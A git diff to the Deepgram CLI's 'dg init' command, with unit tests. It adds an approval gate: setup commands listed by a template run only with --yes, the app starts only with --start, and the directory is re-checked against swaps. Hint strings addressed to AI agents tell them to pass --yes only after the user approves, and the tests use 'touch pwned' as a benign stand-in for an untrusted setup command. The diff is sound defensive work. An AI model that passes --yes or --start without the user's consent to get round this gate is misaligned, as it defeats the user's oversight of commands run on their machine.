 .../tests/unit/_init_harness.py               |   2 +
 .../deepctl-cmd-init/tests/unit/test_init.py  |   8 +-
 .../tests/unit/test_init_confirm.py           | 365 ++++++++++++++++++
 .../tests/unit/test_init_resume.py            |  75 ++++
 src/deepctl/_manifest.d/init.json             |  26 +-
 7 files changed, 738 insertions(+), 29 deletions(-)
 create mode 100644 packages/deepctl-cmd-init/tests/unit/test_init_confirm.py

diff --git a/packages/deepctl-cmd-init/src/deepctl_cmd_init/command.py b/packages/deepctl-cmd-init/src/deepctl_cmd_init/command.py
index 9a3a7ff6..e8343afb 100644
--- a/packages/deepctl-cmd-init/src/deepctl_cmd_init/command.py
+++ b/packages/deepctl-cmd-init/src/deepctl_cmd_init/command.py
@@ -3,6 +3,8 @@
 from __future__ import annotations
 
 import os
+import shlex
+import sys
 from pathlib import Path
 from typing import Any
 
@@ -14,14 +16,62 @@
     DeepgramClient,
 )
 from deepctl_core import messages as core_msg
-from deepctl_core.output import _agentic, print_error, print_hint
+from deepctl_core.output import _agentic, is_ai_agent, print_error, print_hint
 from rich.console import Console
 from rich.markup import escape
 from rich.table import Table
 
 from . import clones, lifecycle, templates_api
 from . import messages as msg
-from .models import InitCodedError, InitResult, TemplateDetail, TemplateInfo
+from .models import (
+    InitCodedError,
+    InitResult,
+    LifecycleStep,
+    TemplateDetail,
+    TemplateInfo,
+)
+
+_MAKE_STEPS = ["make check-prereqs", "make init"]
+
+
+def _hard_signal() -> bool:
+    """An AI agent marked the environment, or ``DG_AGENT=1`` says one runs dg."""
+    return is_ai_agent() or os.environ.get("DG_AGENT") == "1"
+
+
+def _person_at_terminal() -> bool:
+    """A person can answer here: no agent or automation signal, and stdin
+    and stderr are terminals. Otherwise setup needs --yes and the start
+    step --start."""
+    if _agentic or _hard_signal():
+        return False
+    try:
+        return sys.stdin.isatty() and sys.stderr.isatty()
+    except (AttributeError, ValueError):
+        return False
+
+
+def _commands(step: LifecycleStep | None) -> list[str]:
+    if step is None or step.command is None:
+        return []
+    return step.command if isinstance(step.command, list) else [step.command]
+
+
+def _rerun(template: str, dest: Path, *flags: str) -> str | None:
+    """``{prog} init {template} --dir {dest} {flags}``, or None when it
+    can't be given as one runnable command."""
+    from deepctl_core.transport import prog
+
+    program = prog()
+    if program is None:
+        return None
+    tokens = ["init", template, "--dir", str(dest), *flags]
+    if any(token.startswith("=") for token in tokens):
+        return None  # zsh's EQUALS option would expand it
+    if os.name == "nt" and any(shlex.quote(token) != token for token in tokens):
+        return None
+    step = f"{program} {shlex.join(tokens)}"
+    return step if shlex.join(shlex.split(step)) == step else None
 
 
 def _coded(
@@ -39,6 +89,21 @@ def _coded(
     )
 
 
+def _prog_text() -> str:
+    """``{prog}`` in a message: the running command, else ``dg``."""
+    from deepctl_core.transport import prog
+
+    return prog() or "dg"
+
+
+def _still_same(dest: Path, identity: tuple[int, int] | None) -> bool:
+    """Whether ``dest`` is still the directory dg cloned into or resumed
+    in: checked again right before the API key is written there and before
+    any setup or start command runs, so a directory swapped in meanwhile
+    is refused."""
+    return identity is not None and lifecycle.same_directory(dest, *identity)
+
+
 console = Console()
 status_console = Console(stderr=True)
 
@@ -66,6 +131,7 @@ class InitCommand(BaseCommand):
         "dg init node-transcription --dir ./my-app",
         "dg init node-transcription --install",
         "dg init node-transcription --no-install",
+        "dg init node-transcription --yes",
         "dg init --list",
         "dg init --list --search flask",
     ]
@@ -73,8 +139,10 @@ class InitCommand(BaseCommand):
         "Scaffold a Deepgram starter app from the templates gallery. "
         "Pass the template name/slug directly (e.g. 'node-transcription'). "
         "Use --list to enumerate available templates. "
-        "After cloning, runs make check-prereqs then make init automatically. "
-        "Use --no-install to skip setup. "
+        "Setup commands (make check-prereqs, make init, or the template's own) "
+        "run only with --yes: show them to the user and pass --yes only if the "
+        "user approves, or pass --no-install to skip them. The app is started "
+        "only with --start. A rerun into the same --dir resumes there. "
         "Requires git, node, npm, make, and curl to be installed."
     )
 
@@ -108,7 +176,10 @@ def get_arguments(self) -> list[dict[str, Any]]:
             },
             {
                 "names": ["--install"],
-                "help": "Run setup (make check-prereqs && make init) without prompting",
+                "help": (
+                    "Run the setup commands without asking (in an AI agent "
+                    "session, use --yes)"
+                ),
                 "is_flag": True,
                 "is_option": True,
             },
@@ -130,6 +201,15 @@ def get_arguments(self) -> list[dict[str, Any]]:
                 "is_flag": True,
                 "is_option": True,
             },
+            {
+                "names": ["--yes", "-y"],
+                "help": (
+                    "Approve and run the template's setup commands without "
+                    "asking; the only way in an AI agent session"
+                ),
+                "is_flag": True,
+                "is_option": True,
+            },
         ]
 
     def handle(
@@ -148,6 +228,7 @@ def handle(
         no_install: bool = kwargs.get("no_install", False)
         do_start: bool = kwargs.get("start", False)
         no_start: bool = kwargs.get("no_start", False)
+        yes: bool = kwargs.get("yes", False)
 
         # ── List mode ──────────────────────────────────────────────────────────
         if list_mode:
@@ -179,15 +260,8 @@ def handle(
                     status="error", message=f"Template not found: {template_slug}"
                 )
         elif _agentic:
-            # In agent mode, require an explicit template name
-            return InitResult(
-                status="error",
-                message=(
-                    "In agent mode, pass the template slug directly, e.g.: "
-                    "dg init node-transcription\n"
-                    "Use dg init --list to see available templates."
-                ),
-            )
+            # No picker in agent mode: the template is named on the command.
+            return self._pick_needs_name()
         else:
             detail = self._interactive_pick(search)
             if not detail:
@@ -239,13 +313,26 @@ def handle(
                 return self._dir_error(msg.E_INIT_DIR_IN_USE, detail, dest)
         phases: list[str] = list(record.phases) if record else []
         commit = record.commit if record else None
+        # The directory dg cloned into or resumes in, checked again right
+        # before anything is written or run in it.
+        identity = (record.dev, record.ino) if record else None
+        person = _person_at_terminal()
+        listed_steps = _commands(detail.config.install if detail.config else None)
+
+        # An explicit --install approves setup, except under an AI agent,
+        # where only --yes does. Setup commands the template service lists
+        # are confirmed before anything is written.
+        approved = yes or (do_install and not _hard_signal())
+        if record is None and listed_steps and not (person or approved or no_install):
+            return self._confirm_steps(detail, dest, listed_steps, cloned=False)
+
         if record is None:
             # ── Confirm ────────────────────────────────────────────────────────
             self._print_template_summary(detail)
             console.print(f"[dim]Destination:[/dim] {dest}")
             console.print()
 
-            if not _agentic and not self.confirm("Clone this template?", default=True):
+            if person and not self.confirm("Clone this template?", default=True):
                 return InitResult(status="cancelled", message="Clone cancelled")
 
             # ── Clone ──────────────────────────────────────────────────────────
@@ -256,8 +343,9 @@ def handle(
                 except RuntimeError as e:
                     return InitResult(status="error", message=str(e))
             phases = ["clone"]
+            identity = lifecycle.directory_identity(dest)
             commit = lifecycle.head_commit(dest)
-            self._save_progress(dest, detail.name, github_url, commit, phases)
+            self._save_progress(dest, detail.name, github_url, commit, phases, identity)
 
             console.print(f"[green]✓[/green] Cloned to [cyan]{dest}[/cyan]")
             console.print(
@@ -268,6 +356,8 @@ def handle(
             console.print(f"[dim]Resuming in[/dim] [cyan]{dest}[/cyan]")
 
         # ── Inject API key ─────────────────────────────────────────────────────
+        if not _still_same(dest, identity):
+            return self._dir_error(msg.E_INIT_DIR_CHANGED, detail, dest)
         try:
             api_key = auth_manager.get_api_key()
             if api_key:
@@ -282,8 +372,13 @@ def handle(
         has_makefile = (dest / "Makefile").exists()
 
         if not installed and not no_install:
-            if _agentic or do_install:
+            steps = _MAKE_STEPS if has_makefile else listed_steps
+            if not steps:
+                run_setup = False
+            elif approved or (person and do_install):
                 run_setup = True
+            elif not person:
+                return self._confirm_steps(detail, dest, steps, cloned=True)
             elif has_makefile:
                 console.print()
                 run_setup = self.confirm(
@@ -293,6 +388,8 @@ def handle(
                 run_setup = False
 
             if run_setup:
+                if not _still_same(dest, identity):
+                    return self._dir_error(msg.E_INIT_DIR_CHANGED, detail, dest)
                 console.print()
                 if has_makefile:
                     installed = lifecycle.run_make_init(dest)
@@ -303,18 +400,25 @@ def handle(
                     )
                 if installed:
                     phases.append("setup")
-                    self._save_progress(dest, detail.name, github_url, commit, phases)
+                    self._save_progress(
+                        dest, detail.name, github_url, commit, phases, identity
+                    )
 
         # ── Start step (optional) ──────────────────────────────────────────────
+        # Never started unasked: --start, or a person's answer.
         started = False
         if installed and detail.config and detail.config.start and not no_start:
-            if _agentic or do_start:
+            if do_start:
                 run_start = True
-            else:
+            elif person:
                 console.print()
                 run_start = self.confirm("Run start step?", default=False)
+            else:
+                return self._confirm_start(detail, dest)
 
             if run_start:
+                if not _still_same(dest, identity):
+                    return self._dir_error(msg.E_INIT_DIR_CHANGED, detail, dest)
                 console.print()
                 started = lifecycle.run_lifecycle_step(detail.config.start, dest)
 
@@ -340,7 +444,7 @@ def handle(
             started=started,
         )
 
-    # ── The rerun contract ────────────────────────────────────────────────────
+    # ── Confirmations and the rerun contract ──────────────────────────────────
 
     def _save_progress(
         self,
@@ -349,10 +453,10 @@ def _save_progress(
         url: str,
         commit: str | None,
         phases: list[str],
+        identity: tuple[int, int] | None,
     ) -> None:
         """Record the clone and what is done in dg's state, so a rerun
         resumes. Without a commit there is nothing a rerun could check."""
-        identity = lifecycle.directory_identity(dest)
         if commit is None or identity is None:
             return
         record = clones.CloneRecord(
@@ -361,9 +465,68 @@ def _save_progress(
         try:
             clones.save(record)
         except OSError as exc:
-            console.print(
-                f"[yellow]Could not record progress in {dest}:[/yellow] {exc}"
+            text = msg.W_INIT_PROGRESS_UNSAVED.format(
+                exc=exc, prog=_prog_text(), dest=core_msg.display_path(dest)
+            )
+            console.print(f"[yellow]{escape(text)}[/yellow]")
+
+    def _confirm_steps(
+        self, detail: TemplateDetail, dest: Path, steps: list[str], *, cloned: bool
+    ) -> InitCodedError:
+        """Setup commands no one here can approve: confirmation_required."""
+        next_step = _rerun(detail.name, dest, "--no-install", "--no-start")
+        shown = core_msg.display_path(dest)
+        if not _hard_signal():
+            hint = (
+                msg.H_CONFIRM_INIT_STEPS
+                if cloned
+                else msg.H_CONFIRM_INIT_STEPS_BEFORE_CLONE
+            )
+        elif cloned:
+            hint = (
+                msg.A_CONFIRM_INIT_STEPS if next_step else msg.A_CONFIRM_INIT_STEPS_NULL
+            )
+        else:
+            hint = (
+                msg.A_CONFIRM_INIT_STEPS_BEFORE_CLONE
+                if next_step
+                else msg.A_CONFIRM_INIT_STEPS_BEFORE_CLONE_NULL
+            )
+        # Before the clone, the repository's Makefile is unknown, and if it
+        # has one its targets run instead of the listed commands; say so.
+        template = core_msg.display(detail.name)
+        listed = "; ".join(core_msg.display(step) for step in steps)
+        if cloned:
+            error = msg.E_CONFIRM_INIT_STEPS.format(template=template, steps=listed)
+        else:
+            error = msg.E_CONFIRM_INIT_STEPS_BEFORE_CLONE.format(
+                template=template, steps=listed
+            )
+        return _coded(
+            error,
+            msg.CODE_CONFIRMATION_REQUIRED,
+            hint.format(dest=shown, prog=_prog_text()),
+            next_step,
+            {"flag": msg.YES_FLAG},
+        )
+
+    def _confirm_start(self, detail: TemplateDetail, dest: Path) -> InitCodedError:
+        """A start step no one here asked for: confirmation_required."""
+        next_step = _rerun(detail.name, dest, "--no-start")
+        if not _hard_signal():
+            hint = msg.H_CONFIRM_INIT_START
+        else:
+            hint = (
+                msg.A_CONFIRM_INIT_START if next_step else msg.A_CONFIRM_INIT_START_NULL
             )
+        error = msg.E_CONFIRM_INIT_START.format(template=core_msg.display(detail.name))
+        return _coded(
+            error,
+            msg.CODE_CONFIRMATION_REQUIRED,
+            hint,
+            next_step,
+            {"flag": "--start"},
+        )
 
     def _dir_error(
         self,
@@ -380,6 +543,7 @@ def _dir_error(
             dest=core_msg.display_path(dest),
             template=core_msg.display(detail.name),
             other=core_msg.display(other or ""),
+            prog=_prog_text(),
         )
         return _coded(
             error,
@@ -388,6 +552,18 @@ def _dir_error(
             f"{program} init --help" if program else None,
         )
 
+    def _pick_needs_name(self) -> InitCodedError:
+        """No template named where the picker can't be shown."""
+        from deepctl_core.transport import prog
+
+        program = prog()
+        return _coded(
+            msg.E_CONFIRM_INIT_PICK.format(prog=_prog_text()),
+            msg.CODE_INVALID_ARGUMENT,
+            msg.H_CONFIRM_INIT_PICK.format(prog=_prog_text()),
+            f"{program} init --list" if program else None,
+        )
+
     def output_result(self, result: Any, config: Config) -> None:
         """Only emit structured output when an explicit --output format is set."""
         from deepctl_core.output import get_output_format
diff --git a/packages/deepctl-cmd-init/src/deepctl_cmd_init/messages.py b/packages/deepctl-cmd-init/src/deepctl_cmd_init/messages.py
index 4928bbf7..b69d01a5 100644
--- a/packages/deepctl-cmd-init/src/deepctl_cmd_init/messages.py
+++ b/packages/deepctl-cmd-init/src/deepctl_cmd_init/messages.py
@@ -1,12 +1,77 @@
-"""Strings for ``dg init``'s errors."""
+"""Strings for ``dg init``'s coded errors.
 
+The confirmation strings are the catalogue's (``E-CONFIRM-INIT-*``). H is
+for a person, A for an AI agent; ``*_NULL`` when ``next_step`` is null.
+The ``*_BEFORE_CLONE`` hints are their variants for a confirmation raised
+before anything was cloned.
+"""
+
+CODE_CONFIRMATION_REQUIRED = "confirmation_required"
 CODE_INVALID_ARGUMENT = "invalid_argument"
+YES_FLAG = "--yes"
+
+E_CONFIRM_INIT_STEPS = 'Template "{template}" wants to run setup commands: {steps}'
+H_CONFIRM_INIT_STEPS = (
+    "The template is cloned in {dest}. Review the commands, then run again with "
+    "--yes to run them, or --no-install to skip them."
+)
+A_CONFIRM_INIT_STEPS = (
+    "The template is cloned in {dest}. next_step finishes without running the "
+    "setup commands. Show the user the commands and run them (with --yes) only "
+    "if the user approves."
+)
+A_CONFIRM_INIT_STEPS_NULL = (
+    "The template is cloned in {dest}. Show the user the setup commands and ask "
+    "them to finish setup in their terminal."
+)
+# Before the clone, the setup that --yes approves is the listed commands,
+# or the Makefile targets if the repository turns out to have a Makefile.
+E_CONFIRM_INIT_STEPS_BEFORE_CLONE = (
+    'Template "{template}" has setup commands. --yes runs {steps}, or make '
+    "check-prereqs and make init if the repository has a Makefile."
+)
+H_CONFIRM_INIT_STEPS_BEFORE_CLONE = (
+    "Nothing was cloned. Review the commands, then run again with --yes to run "
+    "them, or --no-install to skip them."
+)
+A_CONFIRM_INIT_STEPS_BEFORE_CLONE = (
+    "Nothing was cloned. next_step clones the template without running the "
+    "setup commands. Show the user the commands and run them (with --yes) only "
+    "if the user approves."
+)
+A_CONFIRM_INIT_STEPS_BEFORE_CLONE_NULL = (
+    "Nothing was cloned. Show the user the setup commands and ask them to run "
+    "{prog} init in their terminal."
+)
+
+E_CONFIRM_INIT_START = 'Template "{template}" can start the app after setup.'
+H_CONFIRM_INIT_START = "Run again with --start to start it, or --no-start to skip."
+A_CONFIRM_INIT_START = (
+    "next_step skips starting the app. Start it only if the user asks."
+)
+A_CONFIRM_INIT_START_NULL = (
+    "Ask the user whether to start the app; rerun with --no-start to skip it."
+)
+
+# No template named, and no picker to choose one (an AI agent session).
+E_CONFIRM_INIT_PICK = "{prog} init needs a template name when it can't show the picker."
+H_CONFIRM_INIT_PICK = (
+    "List templates with {prog} init --list, then run {prog} init <TEMPLATE>."
+)
 
 # Rerun contract: a directory dg init can't resume in.
 E_INIT_DIR_IN_USE = "Directory already exists: {dest}"
 E_INIT_DIR_OTHER_TEMPLATE = (
     'Directory {dest} holds the template "{other}", not "{template}".'
 )
+E_INIT_DIR_CHANGED = (
+    "{dest} changed while {prog} init was running, so nothing more was done there."
+)
+# dg's record of the clone couldn't be written.
+W_INIT_PROGRESS_UNSAVED = (
+    "Couldn't save setup progress ({exc}), so running {prog} init again won't "
+    "resume in {dest}."
+)
 H_INIT_DIR = "Choose another directory with --dir, or remove this one."
 
 # The template service sent a name that isn't plain.
diff --git a/packages/deepctl-cmd-init/tests/unit/_init_harness.py b/packages/deepctl-cmd-init/tests/unit/_init_harness.py
index 2fc1e133..9e14d8d3 100644
--- a/packages/deepctl-cmd-init/tests/unit/_init_harness.py
+++ b/packages/deepctl-cmd-init/tests/unit/_init_harness.py
@@ -113,6 +113,8 @@ def _clone(self, url: str, dest: Path) -> None:
             git(dest, "add", "-A")
             git(dest, "commit", "-q", "-m", "init")
             git(dest, "remote", "add", "origin", url)
+        else:
+            (dest / ".git").mkdir()
 
     def _make(self, dest: Path) -> bool:  # noqa: ARG002
         self.setup_runs.append("make")
diff --git a/packages/deepctl-cmd-init/tests/unit/test_init.py b/packages/deepctl-cmd-init/tests/unit/test_init.py
index baa3086b..47269342 100644
--- a/packages/deepctl-cmd-init/tests/unit/test_init.py
+++ b/packages/deepctl-cmd-init/tests/unit/test_init.py
@@ -545,7 +545,9 @@ def test_direct_clone(
 
         target = str(tmp_path / "my-app")
 
-        with patch.object(init_command, "confirm", return_value=True):
+        with patch.object(init_command, "confirm", return_value=True), patch(
+            "deepctl_cmd_init.command._person_at_terminal", return_value=True
+        ):
             result = init_command.handle(
                 config=mock_config,
                 auth_manager=mock_auth_manager,
@@ -657,7 +659,9 @@ def test_api_key_injection(
 
         target = str(tmp_path / "app")
 
-        with patch("deepctl_cmd_init.command._agentic", False):
+        with patch(
+            "deepctl_cmd_init.command._person_at_terminal", return_value=True
+        ):
             with patch.object(init_command, "confirm", return_value=False):
                 result = init_command.handle(
                     config=mock_config,
diff --git a/packages/deepctl-cmd-init/tests/unit/test_init_confirm.py b/packages/deepctl-cmd-init/tests/unit/test_init_confirm.py
new file mode 100644
index 00000000..8b1597b3
--- /dev/null
+++ b/packages/deepctl-cmd-init/tests/unit/test_init_confirm.py
@@ -0,0 +1,365 @@
+"""dg init outside a terminal: setup needs --yes (or --install, without an
+AI agent), the start step needs --start, and what --yes runs is named
+before anything is cloned."""
+
+from __future__ import annotations
+
+import importlib.util
+import os
+import shutil
+import subprocess
+import sys
+from pathlib import Path
+from typing import TYPE_CHECKING, Any
+from unittest.mock import Mock, patch
+
+import pytest
+from deepctl_cmd_init import clones, lifecycle
+from deepctl_cmd_init.command import InitCommand
+from deepctl_cmd_init.models import InitCodedError, InitResult, TemplateDetail
+from deepctl_core import AuthManager, Config, DeepgramClient
+
+# The shared harness, loaded by path under its own name: a relative import
+# depends on which package pytest's importlib mode names "tests.unit".
+_HARNESS = "deepctl_cmd_init_tests_harness"
+if _HARNESS not in sys.modules:
+    _spec = importlib.util.spec_from_file_location(
+        _HARNESS, Path(__file__).with_name("_init_harness.py")
+    )
+    assert _spec is not None and _spec.loader is not None
+    sys.modules[_HARNESS] = importlib.util.module_from_spec(_spec)
+    _spec.loader.exec_module(sys.modules[_HARNESS])
+Run = sys.modules[_HARNESS].Run
+template_detail = sys.modules[_HARNESS].template_detail
+
+needs_git = pytest.mark.skipif(shutil.which("git") is None, reason="git not installed")
+
+
+@pytest.fixture
+def run(tmp_path: Path, monkeypatch: pytest.MonkeyPatch) -> Run:
+    return Run(tmp_path, monkeypatch)
+
+
+@pytest.fixture
+def make_detail() -> Any:
+    """``make_detail(install=..., start=..., url=..., name=...)``."""
+    return template_detail
+
+
+class TestListedSteps:
+    """Setup commands the template service lists: confirmed before cloning."""
+
+    def test_need_yes_and_nothing_is_written(self, run: Any, make_detail: Any) -> None:
+        run.detail = make_detail(install="touch pwned", start="npm start")
+        result = run()
+        assert isinstance(result, InitCodedError)
+        assert result.status == "error"
+        assert result.code == "confirmation_required"
+        assert "--yes runs touch pwned" in result.error
+        assert result.next_step == (
+            f"dg init node-transcription --dir {run.dest} --no-install --no-start"
+        )
+        assert result.details == {"flag": "--yes"}
+        assert result.hint.startswith("Nothing was cloned.")
+        assert run.clones == 0
+        assert not run.dest.exists()
+        assert run.setup_runs == run.start_runs == []
+
+    def test_agent_hint_says_to_ask_the_user(self, run: Any, make_detail: Any) -> None:
+        run.detail = make_detail(install="npm install")
+        run.agent = True
+        result = run(install=True)
+        assert result.code == "confirmation_required"
+        assert "only if the user approves" in result.hint
+        assert run.clones == 0
+
+    def test_agent_hint_without_a_runnable_next_step(
+        self, run: Any, make_detail: Any, monkeypatch: pytest.MonkeyPatch
+    ) -> None:
+        monkeypatch.setattr("deepctl_core.transport.prog", lambda: None)
+        run.detail = make_detail(install="npm install")
+        run.agent = True
+        result = run()
+        assert result.next_step is None
+        assert "ask them to run dg init in their terminal" in result.hint
+
+    def test_install_alone_is_not_an_agents_approval(
+        self, run: Any, make_detail: Any
+    ) -> None:
+        run.detail = make_detail(install="npm install")
+        run.agent = True
+        assert run(install=True).code == "confirmation_required"
+        assert run.setup_runs == []
+
+    def test_install_approves_setup_without_an_agent(
+        self, run: Any, make_detail: Any
+    ) -> None:
+        # CI or no terminal, no AI agent: an explicit --install is enough.
+        run.detail = make_detail(install="npm install", start="npm start")
+        result = run(install=True)
+        assert run.setup_runs == ["npm install"]
+        assert run.start_runs == []
+        assert result.code == "confirmation_required"
+        assert result.details == {"flag": "--start"}
+
+    def test_refusal_names_what_yes_runs(self, run: Any, make_detail: Any) -> None:
+        run.detail = make_detail(install="touch listed")
+        result = run()
+        assert result.error == (
+            'Template "node-transcription" has setup commands. --yes runs touch '
+            "listed, or make check-prereqs and make init if the repository has "
+            "a Makefile."
+        )
+
+    def test_yes_runs_the_makefile_when_the_repo_has_one(
+        self, run: Any, make_detail: Any
+    ) -> None:
+        # The rule the refusal stated: a Makefile's targets replace the
+        # listed commands.
+        run.detail = make_detail(install="touch listed")
+        run.makefile = True
+        refused = run()
+        assert "if the repository has a Makefile" in refused.error
+        assert run.clones == 0
+        result = run(yes=True)
+        assert result.status == "success"
+        assert run.setup_runs == ["make"]
+
+    @needs_git
+    def test_next_step_clones_without_running_them(
+        self, run: Any, make_detail: Any
+    ) -> None:
+        run.detail = make_detail(install="touch pwned", start="npm start")
+        result = run(no_install=True, no_start=True)
+        assert isinstance(result, InitResult)
+        assert result.status == "success"
+        assert run.clones == 1
+        assert run.setup_runs == run.start_runs == []
+        assert run.record() is not None
+        assert run.record().phases == ["clone"]  # type: ignore[index]
+
+    @needs_git
+    def test_yes_runs_them_but_never_the_start_step(
+        self, run: Any, make_detail: Any
+    ) -> None:
+        run.detail = make_detail(install="npm install", start="npm start")
+        result = run(yes=True)
+        assert run.setup_runs == ["npm install"]
+        assert run.start_runs == []
+        assert result.code == "confirmation_required"
+        assert result.next_step == (
+            f"dg init node-transcription --dir {run.dest} --no-start"
+        )
+        assert result.details == {"flag": "--start"}
+        assert run.record().phases == ["clone", "setup"]  # type: ignore[index]
+
+    def test_start_runs_only_when_asked_for(self, run: Any, make_detail: Any) -> None:
+        run.detail = make_detail(install="npm install", start="npm start")
+        result = run(yes=True, start=True)
+        assert result.status == "success"
+        assert result.started is True
+        assert run.start_runs == ["npm start"]
+
+    def test_a_person_at_a_terminal_keeps_the_old_prompts(
+        self, run: Any, make_detail: Any
+    ) -> None:
+        run.detail = make_detail(install="npm install")
+        run.person = True
+        with patch.object(InitCommand, "confirm", return_value=True):
+            result = run(install=True, no_start=True)
+        assert result.status == "success"
+        assert run.setup_runs == ["npm install"]
+
+
+class TestMakefileSteps:
+    """A Makefile is only known after the clone: the confirmation comes then,
+    and next_step reruns into the clone."""
+
+    @needs_git
+    def test_need_yes_after_the_clone(self, run: Any) -> None:
+        run.makefile = True
+        result = run()
+        assert result.code == "confirmation_required"
+        assert "make check-prereqs; make init" in result.error
+        assert result.hint.startswith("The template is cloned in ")
+        assert run.clones == 1
+        assert run.setup_runs == []
+        assert run.record().phases == ["clone"]  # type: ignore[index]
+
+    @needs_git
+    def test_next_step_resumes_without_cloning_again(self, run: Any) -> None:
+        run.makefile = True
+        first = run()
+        assert first.next_step.endswith("--no-install --no-start")
+        result = run(no_install=True, no_start=True)
+        assert result.status == "success"
+        assert result.installed is False
+        assert run.clones == 1
+        assert run.setup_runs == []
+
+    @needs_git
+    def test_rerun_with_yes_runs_setup_in_the_clone(self, run: Any) -> None:
+        run.makefile = True
+        run()
+        result = run(yes=True)
+        assert result.status == "success"
+        assert result.installed is True
+        assert run.clones == 1
+        assert run.setup_runs == ["make"]
+        assert run.record().phases == ["clone", "setup"]  # type: ignore[index]
+
+    @needs_git
+    def test_finished_setup_is_not_run_again(self, run: Any) -> None:
+        run.makefile = True
+        run(yes=True)
+        run(yes=True)
+        assert run.setup_runs == ["make"]
+
+    def test_no_steps_no_confirmation(self, run: Any) -> None:
+        result = run()
+        assert result.status == "success"
+        assert run.clones == 1
+
+
+@pytest.mark.skipif(shutil.which("git") is None, reason="git not installed")
+class TestWithGit:
+    """A real clone (from a local repository standing in for GitHub) and the
+    template's own steps run by the shell."""
+
+    @pytest.fixture
+    def origin(self, tmp_path: Path, monkeypatch: pytest.MonkeyPatch) -> Path:
+        work = tmp_path / "origin" / "node-transcription"
+        work.mkdir(parents=True)
+        env = {k: v for k, v in os.environ.items() if not k.startswith("GIT_")}
+        env.update(HOME=str(tmp_path), GIT_CONFIG_NOSYSTEM="1")
+        for args in (
+            ["init", "-q", "-b", "main"],
+            [
+                "-c",
+                "user.name=t",
+                "-c",
+                "user.email=t@e",
+                "commit",
+                "-q",
+                "--allow-empty",
+                "-m",
+                "init",
+            ],
+        ):
+            subprocess.run(["git", *args], cwd=work, env=env, check=True)
+        gitconfig = tmp_path / "gitconfig"
+        gitconfig.write_text(
+            f'[url "{work.parent.as_uri()}/"]\n'
+            "\tinsteadOf = https://github.com/deepgram-starters/\n"
+            '[protocol "file"]\n\tallow = always\n'
+        )
+        monkeypatch.setenv("GIT_CONFIG_GLOBAL", str(gitconfig))
+        monkeypatch.setenv("GIT_CONFIG_NOSYSTEM", "1")
+        (tmp_path / "home").mkdir()
+        monkeypatch.setenv("HOME", str(tmp_path / "home"))
+        monkeypatch.setattr("deepctl_core.transport.prog", lambda: "dg")
+        monkeypatch.setattr(
+            "deepctl_cmd_init.command._person_at_terminal", lambda: False
+        )
+        monkeypatch.setattr("deepctl_cmd_init.command._hard_signal", lambda: True)
+        monkeypatch.setattr(lifecycle, "check_prereqs", lambda: [])
+        return work
+
+    def _run(self, detail: TemplateDetail, dest: Path, **flags: Any) -> Any:
+        kwargs = {
+            "template": detail.name,
+            "dir": str(dest),
+            "search": None,
+            "list": False,
+            "install": False,
+            "no_install": False,
+            "start": False,
+            "no_start": False,
+            "yes": False,
+            **flags,
+        }
+        auth = Mock(spec=AuthManager)
+        auth.get_api_key.return_value = None
+        with patch(
+            "deepctl_cmd_init.command.templates_api.get_template", return_value=detail
+        ):
+            return InitCommand().handle(
+                config=Mock(spec=Config),
+                auth_manager=auth,
+                client=Mock(spec=DeepgramClient),
+                **kwargs,
+            )
+
+    def test_steps_run_only_with_yes(
+        self, origin: Path, tmp_path: Path, make_detail: Any
+    ) -> None:
+        pwned = tmp_path / "pwned"
+        started = tmp_path / "pwned-start"
+        detail = make_detail(install=f"touch {pwned}", start=f"touch {started}")
+        dest = tmp_path / "app"
+        refused = self._run(detail, dest)
+        assert refused.code == "confirmation_required"
+        assert not pwned.exists() and not dest.exists()
+
+        done = self._run(detail, dest, no_install=True, no_start=True)
+        assert done.status == "success"
+        assert not pwned.exists() and not started.exists()
+        record = clones.load(os.path.realpath(dest))
+        assert record is not None and len(record.commit) == 40
+        status = subprocess.run(
+            ["git", "-C", str(dest), "status", "--porcelain"],
+            capture_output=True,
+            text=True,
+            check=True,
+        )
+        assert status.stdout == ""
+
+        again = self._run(detail, dest, yes=True)
+        assert pwned.exists()
+        assert not started.exists()
+        assert again.code == "confirmation_required"
+        assert again.details == {"flag": "--start"}
+
+
+def test_python_m_has_no_runnable_next_step(
+    run: Any, make_detail: Any, monkeypatch
+) -> None:
+    monkeypatch.setattr(sys, "argv", ["python", "-m", "deepctl"])
+    monkeypatch.setattr("deepctl_core.transport.prog", lambda: None)
+    run.detail = make_detail(install="npm install")
+    result = run()
+    assert result.next_step is None
+    assert result.code == "confirmation_required"
+
+
+def test_agent_without_a_template_gets_the_coded_pick_error(
+    run: Any, monkeypatch, capsys
+) -> None:
+    """No picker in an AI agent session: the catalogue's E-CONFIRM-INIT-PICK,
+    with dg init --list as next_step."""
+    monkeypatch.setattr("deepctl_cmd_init.command._agentic", True)
+    result = run(template=None)
+    assert isinstance(result, InitCodedError)
+    assert result.code == "invalid_argument"
+    assert result.error == (
+        "dg init needs a template name when it can't show the picker."
+    )
+    assert result.hint == (
+        "List templates with dg init --list, then run dg init <TEMPLATE>."
+    )
+    assert result.next_step == "dg init --list"
+    assert run.clones == 0
+
+
+@needs_git
+def test_unsaved_progress_says_a_rerun_wont_resume(
+    run: Any, monkeypatch, capsys
+) -> None:
+    def refuse(record: Any) -> None:
+        raise OSError("disk full")
+
+    monkeypatch.setattr(clones, "save", refuse)
+    assert run(no_install=True).status == "success"
+    out = " ".join(capsys.readouterr().out.split())
+    assert "Couldn't save setup progress (disk full), so running dg init " in out
+    assert "again won't resume in" in out
diff --git a/packages/deepctl-cmd-init/tests/unit/test_init_resume.py b/packages/deepctl-cmd-init/tests/unit/test_init_resume.py
index b214a542..ec6f2807 100644
--- a/packages/deepctl-cmd-init/tests/unit/test_init_resume.py
+++ b/packages/deepctl-cmd-init/tests/unit/test_init_resume.py
@@ -193,6 +193,81 @@ def load_then_swap(path: str) -> Any:
         assert not (real / ".env").exists()
 
 
+def _swap(dest: Path, aside: Path) -> None:
+    """Put another directory, with the same contents, at ``dest``."""
+    shutil.copytree(dest, aside, symlinks=True)
+    dest.rename(aside.with_name(aside.name + "-old"))
+    aside.rename(dest)
+
+
+@needs_git
+class TestSwappedWhileRunning:
+    """The directory is checked again right before the API key is written
+    and before each setup or start command: one swapped in after the
+    earlier checks is refused, and nothing more is done in it."""
+
+    def _assert_changed(self, run: Any, result: Any) -> None:
+        assert result.code == "invalid_argument"
+        assert result.error.endswith(
+            "changed while dg init was running, so nothing more was done there."
+        )
+        assert result.next_step == "dg init --help"
+
+    def test_swapped_after_the_clone(
+        self, run: Any, tmp_path: Path, monkeypatch: pytest.MonkeyPatch
+    ) -> None:
+        real_save = clones.save
+
+        def save_then_swap(record: Any) -> None:
